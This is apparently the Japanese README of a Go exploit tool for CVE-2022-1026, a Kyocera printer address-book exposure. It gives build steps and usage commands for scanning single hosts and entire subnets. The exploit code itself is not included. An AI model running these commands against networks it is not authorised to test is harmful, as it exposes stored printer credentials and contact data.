kygocera（CVE-2022-1026）

Rapid7 の PoC（CVE-2022-1026）の改良された Go 言語バージョン（https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/）

クレジット: Aaron Herndon / https://twitter.com/ac3lives

挨拶: https://github.com/D4RKMATT3R

CVE-2022-1026

インストール

git clone https://github.com/r0lh/kygocera.git
cd kygocera && go build kygocera.go
./kygocera -t <IP / URL / IP-Range>

または

go install github.com/r0lh/kygocera@latest
kygocera -h

使用方法

kygocera -h

kygocera -u 192.168.0.0/24

kygocera -u printer.mynetwork.local

タイムアウト（ミリ秒）とポートの設定

./kygocera -u 127.0.0.1 -p 9091 -t 200

SSL を無効化

./kygocera -u 192.168.0.0/24 -n

または単に

go run kygocera -u 192.168.0.0/24